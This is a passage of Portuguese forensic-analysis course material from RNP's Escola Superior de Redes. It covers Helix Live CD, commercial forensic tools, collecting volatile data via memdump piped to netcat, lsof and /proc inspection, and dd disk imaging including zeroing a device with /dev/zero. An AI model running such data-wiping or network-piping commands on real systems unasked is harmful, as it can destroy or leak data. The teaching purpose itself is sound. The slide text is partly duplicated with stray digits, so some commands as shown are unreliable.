Sistema operacional Deve-se levar em conta que às vezes vai ser necessário investigar um sistema sem dispositivos padrão, como os presentes em um computador comum. Por exemplo, como investigar incidentes envolvendo um PDA, ou uma estação RISC/Solaris? Os dispositivos de disco são diferentes, e o sistema operacional da estação forense precisa reconhecer esses equipamentos. Alguns softwares para Windows, como o EnCase, têm um suporte melhor para imagens de partições variadas. Entretanto, um suporte nativo no sistema operacional pode ser muito útil e poupar tempo do investigador. Além disso, o sistema operacional precisa ser seguro o suficiente para não ser comprometido com alguma ferramenta investigada. Imagine se o investigador está analisando um arquivo desconhecido e sua estação forense é comprometida por este arquivo? Além disso, existem outras vantagens no uso do Linux, como o sistema da estação forense e das ferramentas. O sistema permite a criação de CDs inicializáveis que rodam em praticamente qualquer configuração de hardware sem a necessidade de instalação de drivers; rodam com pouca memória e contam com diversos mecanismos de segurança embutidos no próprio sistema. Existem diversas opções para resolver o problema de análise de binários de outros sistemas operacionais. No caso do Windows, em alguns casos é possível executar o binário com emuladores por software como o Wine, ou utilizar o próprio VMWare com um sistema Windows rodando na máquina virtual. Além disso, dependendo do tipo de análise que vai ser feita, existem debuggers para Linux que têm suporte a diversos formatos de binários e processadores, como por exemplo o IDA-Pro.
22
Escola Superior de Redes RNP
Live CD
Live CD Importante manter as ferramentas atualizadas Existem diversos CDs inicializáveis com sistemas Linux: Não precisam ser instalados Normalmente não modificam o sistema instalado Podem ser utilizados em um sistema ligado ou como dispositivo de boot em um sistema desligado São atualizados pelos responsáveis Contêm uma ampla gama de ferramentas
Há grupos especializados em reunir as melhores ferramentas para análise forense. Existem diversos CDs inicializáveis com sistemas Linux, prontos para serem utilizados em um atendimento inicial a um incidente. Eles não precisam ser instalados, e normalmente não causam modificações no sistema instalado. Podem ser utilizados em um sistema ligado, ou como dispositivo de boot em um sistema desligado. Contendo uma ampla gama de ferramentas, sua atualização é mantida pelos responsáveis.
Um grande problema para o investigador é manter atualizadas todas as suas ferramentas, medida importante em um processo de análise forense. Por exemplo, investigadores da polícia técnica ou peritos criminais em informática têm como parte dessas atividades manter suas ferramentas atualizadas. A recomendação de utilizar um Live CD, ou um pacote pronto de ferramentas, vale para aqueles profissionais que não têm como atividade principal a realização de análise forense, desempenhando a atividade apenas em casos isolados. Nestes casos, quando existir a necessidade de realizar uma análise forense, basta baixar a última versão da distribuição definida como padrão, e todas as ferramentas estarão atualizadas.
Live CD Helix é uma distribuição específica para análise forense Contém ferramentas para análise e resposta a incidentes em ambientes Linux, e um pacote de ferramentas para análise em sistemas Windows que ainda estejam ligados. Pode ser utilizado como um CD de boot em sistemas desligados, ou montado em um sistema ligado para servir como fonte de ferramentas para uma resposta inicial ao incidente. Utilizado por diversas instituições e grupos de análise forense e de resposta a incidentes.
Em nosso curso utilizaremos o Helix, uma distribuição específica para análise forense, baseada em uma versão altamente modificada do Knoppix Linux. Além de conter ferramentas para análise e resposta a incidentes em ambientes Linux, o Helix contém um pacote de ferramentas para análise em sistemas Windows que ainda estejam ligados. Ele foi modificado para garantir que nenhuma alteração seja feita ao sistema analisado. Pode ser utilizado como um CD de boot em sistemas desligados, ou montado em um sistema ligado para servir como fonte de ferramentas para uma resposta inicial ao incidente. É utilizado por diversas instituições e grupos de análise forense e de resposta a incidentes, o que garante que esteja sempre atualizado.
Além das ferramentas que serão discutidas durante o curso, existem muitas outras presentes no CD que o aluno poderá utilizar, incluindo interfaces gráficas para algumas das ferramentas discutidas. No curso, examinaremos as ferramentas de comando de linha que permitem trabalhar em um nível mais baixo de operação, e entender o real funcionamento de cada uma.
Análise forense – Sessão de aprendizagem 2
23
Live CD Além do Live CD, em nosso curso utilizaremos o VMWare, ambiente virtual que simula um computador real, permitindo a execução de praticamente qualquer sistema operacional. Utilizaremos uma imagem do CD do Helix associada ao CD-ROM da máquina virtual. Configurações da máquina virtual: 256 MB de RAM Disco rígido de 8 GB, para armazenar dados dos exercícios e servir como exemplo Imagem do Helix associada ao CD-ROM Placa de rede host-only (só se conecta ao computador local) Com o VMWare, podemos reverter o estado da máquina virtual para estados anteriores, evitando assim a perda de dados proveniente de comandos errados.
É importante deixar claro que o ambiente escolhido para resposta ao incidente ou para a investigação forense não deve de maneira nenhuma modificar qualquer dado no sistema suspeito sem o conhecimento e controle do investigador. Por exemplo, uma distribuição Linux normal, ao ser iniciada, vai tentar montar qualquer dispositivo de disco presente na máquina, e isso deve ser evitado a todo custo. Esta é a vantagem de utilizar uma distribuição específica para análise forense.
Hardware forense Há no mercado diversas soluções de hardware que podemos utilizar para realizar a duplicação e análise pericial. Estas ferramentas são mais completas e realizam cópias perfeitas das informações em uma imagem. Através da imagem, o perito realiza sua análise sem danificar as provas originais. Permitem a duplicação em alta velocidade, com bloqueio físico de escrita, cálculo de hash MD5, SHA1, SHA2, emissão de logs de operação etc.
Estações e servidores para computação forense
Em plataformas integradas de processamento, estes sistemas estão disponíveis em configurações móveis, estacionárias ou de laboratório, projetados para aquisição e exames de evidências. Possibilitam duplicar as evidências diretamente do HD IDE/SCSI/ SATA, disquetes, CD, DVD, ZIP driver, fita DAT 4MM e PCCARD, SmartMedia, SD-MMC, Memory Stick, Compact Flash. Duplicadores de HDs com suporte às principais interfaces, tais como: IDE, Enhanced IDE, Narrow SCSI, Wide SCSI, Ultra SCSI e SCA. Podem transferir dados de diferentes interfaces. Duplicação em larga escala substitui com inúmeras vantagens os atuais processos de clonagem de discos via software. Ideal para operações de deployment e fábricas de PCs.
Duplicadores de HDs e equipamentos para bloqueio de escrita em mídias digitais Ambiente e ferramentas de análise forense
24
Escola Superior de Redes RNP Redes Wi-Fi
Equipamento dedicado para análise de sinal WLAN 802.11 e ciências forenses. O foco do produto é a facilidade de uso e automação. É capaz de capturar todo o tráfego Wi-Fi num raio de 4 km fazendo uso simultâneo dos 14 canais de comunicação 802.11. Wireless Wi-Fi
Completamente invisível na rede, permite o armazenamento dos pacotes em padrões que podem ser usados por qualquer ferramenta de análise forense de rede. Realiza a decriptografia simultânea de WEP e WPA. Celulares \\XRY
– A análise forense de aparelhos celulares ganha outra dimensão com o uso do .XRY. Incrivelmente rápido, seguro e prático de usar. O visualizador de dados é gratuito, permitindo a análise distribuída por uma equipe maior e o compartilhamento de informações.
\\SIM
ID Cloner – Permite análise em celulares com chip bloqueado ou danificado.
Celulares
Pacote forense Helix The Coroner's Toolkit Flag-Knoppix SMART Linux Comerciais FTK Forensic Toolkit EnCase
Pacote forense Helix Este software oferece aos profissionais da área a possibilidade de executar vários processos de análise forense computacional. Suporta diversos sistemas operacionais. Pode ser executado através de um sistema operacional ou antes do início do sistema operacional. Suas principais características são: \\Suporte
aos sistemas operacionais das plataformas Windows, Linux e Solaris;
\\Mostra
informações do sistema, como: versão do sistema operacional, rede, discos, partições e o sistema de arquivos, além do tamanho;
\\Realiza
cópia perfeita de disco e memória física, em outra área, como a rede ou em mídia removível;
\\Disponibiliza
o acesso a vinte ferramentas de perícia forense computacional;
Helix Análise forense – Sessão de aprendizagem 2
25
\\Possui
algumas documentações a respeito de perícia forense computacional que podem ajudar o perito a desenvolver o seu trabalho;
\\Possui
um navegador que possibilita expandir os discos e verificar algumas propriedades dos arquivos e pastas;
\\Contém
uma ferramenta de procura rápida por imagens de diversos formatos no computador;
\\Possui
um editor de texto para realizar anotações importantes sobre o que está sendo analisado.
FTK Forensic Toolkit Oferece aos profissionais da área a habilidade de executar perícias completas nos computadores. Com esta ferramenta é possível customizar filtros que permitem a pesquisa em milhares de arquivos e encontrar a evidência rapidamente. O FTK é conhecido no mercado como uma das principais ferramentas de análise forense de e-mail. Suas principais características são:
FTK Forensic Toolkit \\Recuperação \\Visualização \\Gera
de registros;
auditoria de logs e relatórios de casos;
\\Recupera \\Visualiza \\O
de e-mails excluídos;
automaticamente arquivos excluídos e partições;
mais de 270 formatos diferentes de arquivos;
FTK Explorer permite que se navegue rapidamente pelas imagens encontradas;
Ambiente e ferramentas de análise forense
26
Escola Superior de Redes RNP \\Suporta
vários sistemas de arquivos, como NTFS, FAT12, FAT16, FAT32, Linux Ext2 e Ext3;
\\Suporta
os formatos de imagens de outros programas, como o EnCase;
\\É
suportado por vários clientes de e-mail, como o Outlook, Outlook Express, Yahoo, Hotmail etc.
\\Pesquisa, \\Extrai
visualiza, imprime e exporta mensagens de e-mails e anexos;
informações da maioria dos arquivos compactados.
EnCase Forensics Ferramenta gráfica do setor de tecnologia da investigação forense de computadores. Com uma interface de uso intuitivo, auxilia o perito na análise e aquisição dos dados, realiza busca em diversas mídias e gera documentação. O programa foi desenvolvido para atender a necessidade dos peritos em buscar informações no formato eletrônico, tais como e-mails e internet. Suas principais características são:
EnCase Forensics
\\Investigação \\Provas
reativa;
não repudiáveis;
\\Reforça
metodologia internacional;
\\Acesso
a informações escondidas;
\\Automatização \\Resposta
a incidentes e combate a fraudes;
\\Investigação \\Resposta
de pesquisas;
pró-ativa;
a incidentes após a última linha de defesa;
\\Documentação
de incidentes;
\\Discrição; \\Assertividade
Análise forense – Sessão de aprendizagem 2
no processo de recuperação.
27
NetWitness Ferramenta capaz de analisar o tráfego que flui na rede. Anos de colaboração com o departamento de inteligência dos EUA fizeram com que o NetWitness seja capaz de analisar grande volume de informação dinâmica, respondendo imediatamente a ataques: quem fez o quê, onde, quando, como e por quê.
Net Witness
Programas específicos O processamento de imagens está integrado aos sistemas de investigação mais avançados do mundo. O resultado dessa combinação é o enorme aumento de produtividade e expansão dos limites humanos, quando for necessário o processamento de grande quantidade de imagens.
Software para reconhecimento visual de imagens Ambiente e ferramentas de análise forense
28
Escola Superior de Redes RNP
Para exemplificar, veja as imagens da capa da revista Time. A da esquerda é a original; a da direita contém uma informação secreta, que só poderá ser descoberta por quem tiver a senha e o programa apropriado. Gargoyle Investigator Forensic Esteganografia
Busca a identificação de armas digitais em sistemas isolados. Compatível com imagens capturadas por EnCase, DD, FTK e outros. Expande a funcionalidade para busca em rede por toda a corporação, incluindo: Anti Forensics, Binary Editors, BotNets, Credit Card Fraud Tools, Denial of Service Tools, Encryption, Steganography, Exploit Scanners, File Splitters, Gaming Tools, Keyloggers, Spyware, Peer to Peer Communications, Password Crackers, Remote Access Tools, Trojans, Worms, Rootkits, Wired and Wireless Surveillance. Stego realiza a detecção de esteganografia em imagens ou arquivos de áudio diretamente no sistema de arquivos, em HDs capturados ou pela internet. Realiza a análise detalhada e a busca dos arquivos altamente supeitos. Realiza ataques de dicionário e força bruta contra algoritmos conhecidos de esteganografia. Ultimate Toolkit contém várias ferramentas necessárias para investigação e perícia de computadores e outras evidências digitais. Dentre as principais, destacamos: Forensic Toolkit, Registry Viewer, Password Recovery Toolkit e Distributed Network Attack. Rainbow Tables é uma ferramenta de ataque pré-computado de força bruta que reduz o tempo de quebra de chaves de criptografia de 40 bits para segundos. Um ataque de força bruta sobre uma chave de 4 bits deve processar 1 trilhão de possibilidades, e um Pentium IV processando 500.000 combinações por segundo levaria 25 dias para completá-lo. Com Rainbow Tables você pode decriptografar um documento de Word em segundos ou minutos, ao invés de dias. Mercury encontra as evidências de maneira rápida. Integrado ao EnCase Forensics, indexa o arquivo de evidências e permite buscas avançadas por palavras-chaves, proximidade, combinações etc. Pode ser distribuído para pessoas que não possuem conhecimento técnico, aumentando a produtividade da equipe de investigação.
Análise forense – Sessão de aprendizagem 2
29
Preparação da investigação
Preparação da investigação No atendimento inicial a um incidente, o investigador deve: Coletar o máximo possível de evidências Comprovar o incidente Conter possíveis ataques originados no sistema comprometido Como fazer tudo isso, minimizando a perda de dados? Nesta hora, a utilização de um checklist pode ajudar, principalmente se o sistema ainda estiver ligado. A resposta precisa ser rápida e precisa.
Ao investigar um sistema possivelmente comprometido que esteja ligado, o investigador deve se preocupar em coletar primeiro as informações mais voláteis, como memória RAM, informações de rede, processos em execução, cópia do disco rígido, logs e históricos. Normalmente, o investigador vai ter a sua disposição equipamentos de armazenagem e de rede para se comunicar com o sistema suspeito.
Preparação da investigação Primeira ação: preparar as ferramentas e dispositivos para a coleta das evidências. Coletar primeiro as informações mais voláteis: Memória RAM, informações de rede, processos em execução, cópia do disco rígido, logs, históricos; Possuir equipamentos de armazenagem e de rede para comunicação com o sistema suspeito. Durante o curso, vamos utilizar o Live CD do Helix em um sistema virtual, como por exemplo no atendimento a incidentes em sistemas ligados.
Durante o curso, utilizaremos o Live CD do Helix em um sistema virtual, como por exemplo no atendimento a incidentes em sistemas ligados.
Preparação do ambiente
Preparação do ambiente Inicialmente, preparemos o ambiente que vamos utilizar durante o atendimento ao incidente: # fdisk –l Disk /dev/sda: 8589 MB, 8589934592 bytes 255 heads, 63 sectors/track, 1044 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks /dev/sda1 1 32 257008+ /dev/sda2 33 64 257040 /dev/sda3 65 1044 7871850 /dev/sda5 65 1044 7871818+ # mkdir /data # mount /dev/sda5 /data
A primeira ação é preparar as ferramentas e dispositivos para a coleta das evidências.
Id 82 83 5 83
System Linuxswap Linux Extended Linux
# fdisk -l8 Disk /dev/sda: 8589 MB, 8589934592 bytes 255 heads, 63 sectors/track, 1044 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System /dev/sda1 1 32 257008+ 82 Linuxswap /dev/sda2 33 64 257040 83 Linux /dev/sda3 65 1044 7871850 5 Extended /dev/sda5 65 1044 7871818+ 83 Linux # mkdir /data8 # mount /dev/sda5 /data8
Ambiente e ferramentas de análise forense
30
Escola Superior de Redes RNP
Preparação do ambiente A memória RAM é a informação mais volátil que existe no sistema. No Helix, temos uma ferramenta chamada memdump, que faz uma cópia da memória RAM, que podemos redirecionar para um arquivo em disco: # memdump > /data/phys_memory.img Além disso, podemos redirecionar para uma conexão de rede, e coletar remotamente o arquivo em nossa estação forense: Na estação forense: # nc -l -p 4000 > /data/phys_memory.img Na máquina suspeita: # memdump | nc 127.0.0.1 4000
Neste exemplo, vamos copiar a memória RAM do sistema virtual para um arquivo, e gravá-lo no diretório montado previamente. Pode acontecer de algum aluno não ter montado a partição do disco conforme mostrado, e acontecer um erro por falta de espaço. Consulte o slide anterior para montar a partição do disco corretamente.
Nota: O memdump tem um parâmetro para copiar a memória do kernel do Linux, além de copiar a memória física. Este parâmetro não funciona dentro do sistema virtual.
O comando netcat (nc) é muito importante para o analista forense. Ele permite criar conexões de rede TCP ou UDP com outras máquinas, além de criar listeners, permitindo simular a existência de um serviço, ou, como no exemplo, permitir a cópia de arquivos pela rede sem utilização de software específico para isso. O instrutor deve tomar algum tempo para mostrar o funcionamento do netcat, especificamente no exemplo dado. No exemplo, o aluno vai utilizar o netcat para criar um listener na máquina, na porta 4000, redirecionando a saída dele para um arquivo. A seguir, em outro terminal, o aluno vai executar o memdump, redirecionando a saída dele para o netcat, que vai criar uma conexão com a máquina local, na porta 4000, e enviar toda a saída do memdump para essa conexão. Com isso, a saída do comando memdump vai ser transmitida pela rede (neste caso, localmente, mas normalmente através da rede física) para o arquivo especificado no primeiro redirecionamento. É possível redirecionar para uma conexão de rede, e coletar remotamente o arquivo em nossa estação forense:
Preparação do ambiente
Na estação forense: # nc -l -p 4000 > /data/phys_memory.img8
Passos importantes durante o atendimento a um incidente: Manter um registro preciso de todas as ações executadas, registrando todos os comandos executados, com os respectivos tempos de execução. Descobrir se as informações de tempo disponíveis em suas evidências são coerentes.
Na máquina suspeita: # memdump | nc 127.0.0.1 40008
Durante a fase de análise das evidências, o investigador vai precisar correlacionar as evidências encontradas na máquina invadida com evidências # date Sun Jan 6 01:34:46 MST 2008 externas, como logs de firewall, roteadores, IDS etc. # uptime O sincronismo de tempo e a coerência entre os time01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18 zones dessas evidências é importante para garantir a validade das conclusões encontradas através das evidências. Por isso é importante descobrir essa informação o quanto antes, durante o atendimento inicial do incidente. O timezone de logs e da máquina é um dado muito importante.
Por isso, após recuperar a memória da máquina, é importante descobrir essas informações:
Análise forense – Sessão de aprendizagem 2
31
Este passo normalmente é o primeiro a ser realizado, mas como tentamos evitar ao máximo o comprometimento de evidências, executamos estes comandos somente após a coleta da memória, pois a execução destes comandos poderia sobrescrever alguma evidência em memória. O instrutor pode comentar sobre a necessidade de manter dispositivos sincronizados, de preferência com servidores NTP confiáveis, e sobre o funcionamento do timezone e do relógio do sistema, que está sempre em UTC. A configuração de timezone é utilizada somente para mostrar a hora no valor local. No início da investigação, um passo importante durante o atendimento a um incidente é manter um registro preciso de todas as ações executadas; para isso, é necessário registrar todos os comandos executados, com os respectivos tempos de execução. Além disso, é importante descobrir se as informações de tempo disponíveis em suas evidências são coerentes. O timezone de logs e da máquina é um dado muito importante. Por isso, após recuperar a memória da máquina, é importante descobrir essas informações: # date8 Sun Jan 6 01:34:46 MST 2008 # uptime8 01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18
Coletando informações dos processos # lsof –l Lista todos os arquivos abertos. Use os comandos more ou less ou redirecione a saída através do netcat
# lsof -i Lista todos os arquivos de rede abertos, para descobrir os programas que estão mantendo conexões abertas. Tem a mesma função do comando netstat –nap. COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME Xorg 2252 root 1u IPv4 9383 TCP *:x11 (LISTEN) sshd 2792 root 3u IPv4 10359 TCP *:ssh (LISTEN) pump 2870 root 0u IPv4 10612 TCP *:bootpc (LISTEN) sshd 2872 root 3u IPv4 10647 TCP 192.168.47.129:ssh>192.168.47.1:4944 (ESTABLISHED)
Coletando informações dos processos LSOF é um comando importante para a coleta de informações sobre processos e conexões de rede, porque integra a funcionalidade de diversas ferramentas diferentes. Pode funcionar como o netstat ou como o ps, por exemplo, além de ter a capacidade de listar arquivos abertos. Neste slide e no próximo, o instrutor pode dedicar algum tempo a testar os parâmetros do LSOF com mais profundidade, além dos parâmetros apresentados aqui. # lsof –l8
Lista todos os arquivos abertos. A saída pode ser grande, por isso use algum tipo de controle de saída. Use os comandos more ou less, por exemplo, ou redirecione a saída através do netcat. # lsof -i8
Lista todos os arquivos de rede abertos. Com isso é possível descobrir os programas que estão mantendo conexões abertas. Tem a mesma função do comando netstat –nap.
Ambiente e ferramentas de análise forense
32
Escola Superior de Redes RNP COMMAND PID USER Xorg 2252 root 1u sshd 2792 root 3u pump 2870 root 0u sshd 2872 root 3u (ESTABLISHED)
FD IPv4 IPv4 IPv4 IPv4
TYPE 9383 10359 10612 10647
Uma maneira de utilizar o LSOF é em conjunto com o comando grep. Podemos limitar o que o LSOF mostra, para listar todos os arquivos abertos por um determinado comando (lsof –l | grep netscape) ou todos os programas que mantêm um listener aberto.
Coletando informações dos processos Utilização de LSOF em conjunto com o comando grep: # lsof -l | grep LISTEN Xorg 2252 0 sshd 2792 0 pump 2870 0
1u 3u 0u
IPv4 IPv4 IPv4
9383 10359 10612
TCP *:x11 (LISTEN) TCP *:ssh (LISTEN) TCP *:bootpc (LISTEN)
Este comando mostra todos os processos que mantêm um socket Unix aberto:
# lsof -l | grep LISTEN8 Xorg 2252 0 1u IPv4 9383 TCP *:x11 (LISTEN) sshd 2792 0 3u IPv4 10359 TCP *:ssh (LISTEN) pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)
# lsof -U
COMMAND PID USER FD TYPE DEVICE SIZE udevd 517 root 3u unix 0xce957e00 dbus-daem 1485 messagebus 3u unix 0xce957c80 /var/run/dbus/system_bus_socket dbus-daem 1485 messagebus 5u unix 0xce957b00
DEVICE SIZE NODE NAME TCP *:x11 (LISTEN) TCP *:ssh (LISTEN) TCP *:bootpc (LISTEN) TCP 192.168.47.129:ssh->192.168.47.1:4944
NODE NAME 4060 socket 7524 7526 socket
Este comando mostra todos os processos que mantêm um socket Unix aberto. Pode ser importante para descobrir processos escondidos que estão mantendo conexões abertas e pipes que podem indicar a presença de trojans e rootkits.
# lsof -U8 COMMAND udevd dbus-daem dbus-daem
PID 517 1485 1485
USER root messagebus messagebus
Coletando informações dos processos Recuperação de informações sobre processos através do diretório /proc: # ls /proc/2877 attr auxv cmdline cwd environ exe fd maps mem mounts mountstats oom_adj oom_score root seccomp smaps stat statm status task wchan
Para cada processo existem diversas informações disponíveis. Alguns destes arquivos contêm dados importantes sobre o processo em execução.
FD 3u 3u 5u
TYPE unix unix unix
DEVICE SIZE 0xce957e00 0xce957c80 0xce957b00
NODE 4060 7524 7526
NAME socket /var/run/dbus/system_bus_socket socket
Outra forma de recuperar informações sobre processos é através do diretório /proc. Este diretório é criado virtualmente pelo kernel do sistema operacional para armazenar informações sobre o hardware e software básicos do sistema. Para cada processo, um diretório é criado com diversos dados sobre ele: # ls /proc/28778 attr auxv cmdline cwd environ exe fd maps mem mounts mountstats oom_adj oom_sco re root seccomp smaps stat statm status task wchan
É importante perceber que, como este diretório é virtual, isto é, não existe fisicamente no disco, qualquer modificação feita nele não vai comprometer as evidências em disco. Contudo, é importante notar que é preciso ter muito cuidado para não modificar nada mais além deste diretório. Como podemos ver, para cada processo existem diversas informações disponíveis. Alguns destes arquivos contêm dados importantes sobre o processo em execução.
Análise forense – Sessão de aprendizagem 2
33
Coletando informações dos processos Conteúdo de alguns arquivos: O arquivo abaixo é na verdade um link para o diretório corrente do processo: # ls -l /proc/2877/cwd lrwxrwxrwx 1 root root 0 Jan -> /data
5 18:50 /proc/2877/cwd
O arquivo abaixo contém a linha de comando utilizada para iniciar o processo, servindo para identificar processos estranhos:
Muitas vezes, ao invadir uma máquina e instalar alguma ferramenta, o hacker costuma modificar o nome dos arquivos para nomes comuns em um sistema, como por exemplo sshd ou httpd. É importante descobrir o diretório onde esses arquivos estão, sem comprometer evidências no disco, para comprovar o comprometimento da máquina. Análise de conteúdo de alguns arquivos
# cat /proc/2877/cmdline -bash
O arquivo abaixo é na verdade um link para o diretório corrente do processo. Pode ser importante para descobrir se algum processo com um nome comum (por exemplo httpd) está sendo executado a partir de um diretório que não seja padrão. # ls -l /proc/2877/cwd8 lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd -> /data
O arquivo abaixo contém a linha de comando utilizada para iniciar o processo. Da mesma forma que o arquivo anterior, pode ser importante para descobrir processos estranhos. # cat /proc/2877/cmdline8 -bash
Coletando informações dos processos O arquivo abaixo contém as variáveis de ambiente utilizadas no momento da execução do programa. # cat /proc/2877/environ USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/u sr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/ usr/X11R6/binMAIL=/var/mail/rootSHELL=/bin/bashSS H_CLIENT=192.168.47.1 4944 22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129 22SSH_TTY=/dev/pts/2TERM=vt100
Outra forma de comprometer um sistema é através da instalação de bibliotecas compartilhadas modificadas. Neste caso, o hacker pode carregá-las de diversas maneiras, mas um meio comum é através da modificação da variável de ambiente LD_PRELOAD, que define as bibliotecas compartilhadas que devem ser carregadas antes da execução de um binário qualquer. A existência desta variável apontando para um arquivo suspeito pode indicar o comprometimento da máquina.
O arquivo abaixo contém as variáveis de ambiente utilizadas no momento da execução do programa. Repare que as variáveis de ambiente criadas pelo SSH aparecem aqui, o que pode ser importante para identificar algum programa que tenha sido executado remotamente. # cat /proc/2877/environ8 USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sb in:/usr/local/bin:/usr/X11R6/binMAIL=/var/mail/root SHELL=/bin/bashSSH_CLIENT=192.168.47.1 4944 22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129 22SSH_TTY=/dev/pts/2TERM=vt100
Ambiente e ferramentas de análise forense
34
Escola Superior de Redes RNP
Coletando informações dos processos Este arquivo mostra informações de status do processo: # cat /proc/2877/status Name: bash State: S (sleeping) SleepAVG: 98% Tgid: 2877 Pid: 2877 PPid: 2872 TracerPid: 0 Uid: 0 0 0 Gid: 0 0 0
# cat /proc/2877/status8
0 0
Coletando informações dos processos É possível recuperar processos através do /proc. Exemplo: # ps ax | grep sshd 2792 ? Ss 2872 ? Ss
Este arquivo mostra informações de status do processo. Podemos ver informações sobre usuário/ grupo que executou o processo, memória e CPU utilizados, entre outras informações.
0:00 /usr/sbin/sshd 0:07 sshd: root@pts/2,pts/3
# cat /proc/2792/exe > /data/proc_2792_sshd.dat # sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd 415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /data/proc_2792_sshd.dat 415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /usr/sbin/sshd
Name: bash State: S (sleeping) SleepAVG: 98% Tgid: 2877 Pid: 2877 PPid: 2872 TracerPid: 0 Uid: 0 0 0 Gid: 0 0 0
0 0
Este exemplo mostra como recuperar um processo em memória, sem precisar encontrar o arquivo correspondente em disco. É comum os hackers removerem do disco as ferramentas que instalam na máquina após executá-las, pois, dessa forma, se o sistema é reiniciado, não há mais traços de suas atividades. Por isso é importante tomar cuidado ao começar a investigar um sistema suspeito, pois simplesmente desligá-lo pode comprometer todas as evidências que o investigador teria para encontrar o responsável.
Quando for necessário recuperar algum processo em memória, e o arquivo não existir mais em disco, ou você não quiser correr o risco de modificar evidências no disco, é possível recuperá-lo através do /proc. Vejamos um exemplo: # ps ax | grep sshd8 2792 ? Ss 0:00 /usr/sbin/sshd 2872 ? Ss 0:07 sshd: root@pts/2,pts/3 # cat /proc/2792/exe > /data/proc_2792_sshd.dat8 # sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd8 415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /data/proc_2792_sshd.dat 415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /usr/sbin/sshd
Análise forense – Sessão de aprendizagem 2
35
Preservação do disco
Preservação do disco Após a coleta de informações mais voláteis, é preciso salvar as evidências menos voláteis A coleta deste tipo de evidência é importante, pois será através dos dados armazenados nos discos que poderemos identificar processos executados pelo hacker, como instalação de ferramentas e modificação de arquivos Há diversas metodologias e ferramentas disponíveis para coletar uma cópia dos discos: Equipamentos específicos para cópia de discos Ferramentas para cópia disco a disco Criação de uma “imagem de disco bit a bit” (mais comum)
Agora que já coletamos as informações mais voláteis, podemos nos preocupar em salvar as evidências menos voláteis. Precisamos coletar uma cópia de quaisquer dispositivos de armazenagem conectados ao equipamento. A coleta deste tipo de evidência é importante, pois será através dos dados armazenados nos discos que poderemos identificar processos executados pelo hacker, instalação de ferramentas, modificação de arquivos, enfim, poderemos criar uma linha do tempo das atividades da máquina.
Para coletar uma cópia dos discos, existem diversas metodologias e ferramentas disponíveis, tais como equipamentos específicos para cópia de discos, ferramentas para cópia disco a disco, e o mais comum, a criação de uma “imagem de disco bit a bit”. Uma imagem “bit a bit” é uma cópia fiel do conteúdo do dispositivo de armazenagem, garantindo que todos os dados presentes no dispositivo estejam presentes na imagem.
Preservação do disco Neste curso vamos utilizar o formato DD, por ser mais difundido e mais facilmente manipulado dentro de um ambiente Linux. Para coletar uma imagem de um dispositivo de disco, utilizaremos a ferramenta dd (daí o nome do formato DD). Ferramenta disponível por padrão em qualquer sistema Linux, permite que se realizem cópias “bit a bit” entre dispositivos, ou então entre dispositivos e arquivos e vice-versa.
Preservação do disco Antes de copiar as evidências, é necessário garantir que nosso dispositivo de armazenagem está limpo. Para isso, zerar o conteúdo do disco (antes de gravar qualquer evidência) com o seguinte comando: # dd if=/dev/zero of=/dev/ bs=512 conv=noerror dd: writing `/dev/': No space left on device 514018+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1 MB/s
Ambiente e ferramentas de análise forense
Existem diversos formatos de imagem, alguns por ferramentas específicas, como o software comercial EnCase, outros mais difundidos, como o formato DD. Neste curso vamos utilizar o formato DD, por ser mais difundido e mais facilmente manipulado dentro de um ambiente Linux. Para coletar uma imagem de um dispositivo de disco, utilizaremos a ferramenta dd (daí o nome do formato DD). Esta ferramenta, disponível por padrão em qualquer sistema Linux, permite que se realizem cópias bit a bit entre dispositivos, ou então entre dispositivos e arquivos e vice-versa. A necessidade de zerar o conteúdo do disco que vai armazenar as evidências existe mais no caso de ser feita uma cópia de disco a disco. Como o disco novo geralmente não é exatamente igual ao disco copiado, em termos de tamanho, geometria etc, pode ser que existam algumas partes dele que não sejam sobrescritas pelo conteúdo do disco copiado. Com isso, dados que possam existir no disco novo vão continuar gravados nessas áreas, podendo confundir o investigador posteriormente. Mesmo assim, a ação de zerar o conteúdo dos discos de armazenagem é uma boa prática que deve ser sempre seguida.
36
Escola Superior de Redes RNP Como não temos um dispositivo que possa ser zerado, é importante notar que não executaremos esse comando com um dispositivo. A execução desse comando pode ser feita em um arquivo comum, por exemplo, copiando um arquivo qualquer do diretório /data e executando os comandos abaixo: # strings –a 8 # dd if=/dev/zero of= conv=noerror bs=1024 count=40968 # strings –a 8
Este comando copia 4 MB de zeros sobre o conteúdo do arquivo. Caso não seja especificado o tamanho, o DD continuaria copiando zeros até preencher o disco. No exemplo, mostramos que o conteúdo que existia no arquivo foi zerado (com os dois comandos strings, antes e depois do DD). Antes de copiar as evidências, é necessário garantir que nosso dispositivo de armazenagem está limpo. Uma maneira de garantir isso é zerando o conteúdo do disco antes de gravar qualquer evidência. Fazemos isso com o seguinte comando: # dd if=/dev/zero of=/dev/ bs=512 conv=noerror8 dd: writing `/dev/’: No space left on device 514018+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1 MB/s
Preservação do disco Passos para copiar uma partição de um disco para um arquivo de imagem: # dd if=/dev/sda1 of=/data/dev_sda1_swap.img bs=512 conv=noerror 514017+0 records in 514017+0 records out 263176704 bytes (263 MB) copied, 36.8564 seconds, 7.1 MB/s # dd if=/dev/sda2 of=/data/dev_sda2.img_root.img bs=512 conv=noerror 514080+0 records in 514080+0 records out 263208960 bytes (263 MB) copied, 36.4338 seconds, 7.2 MB/s
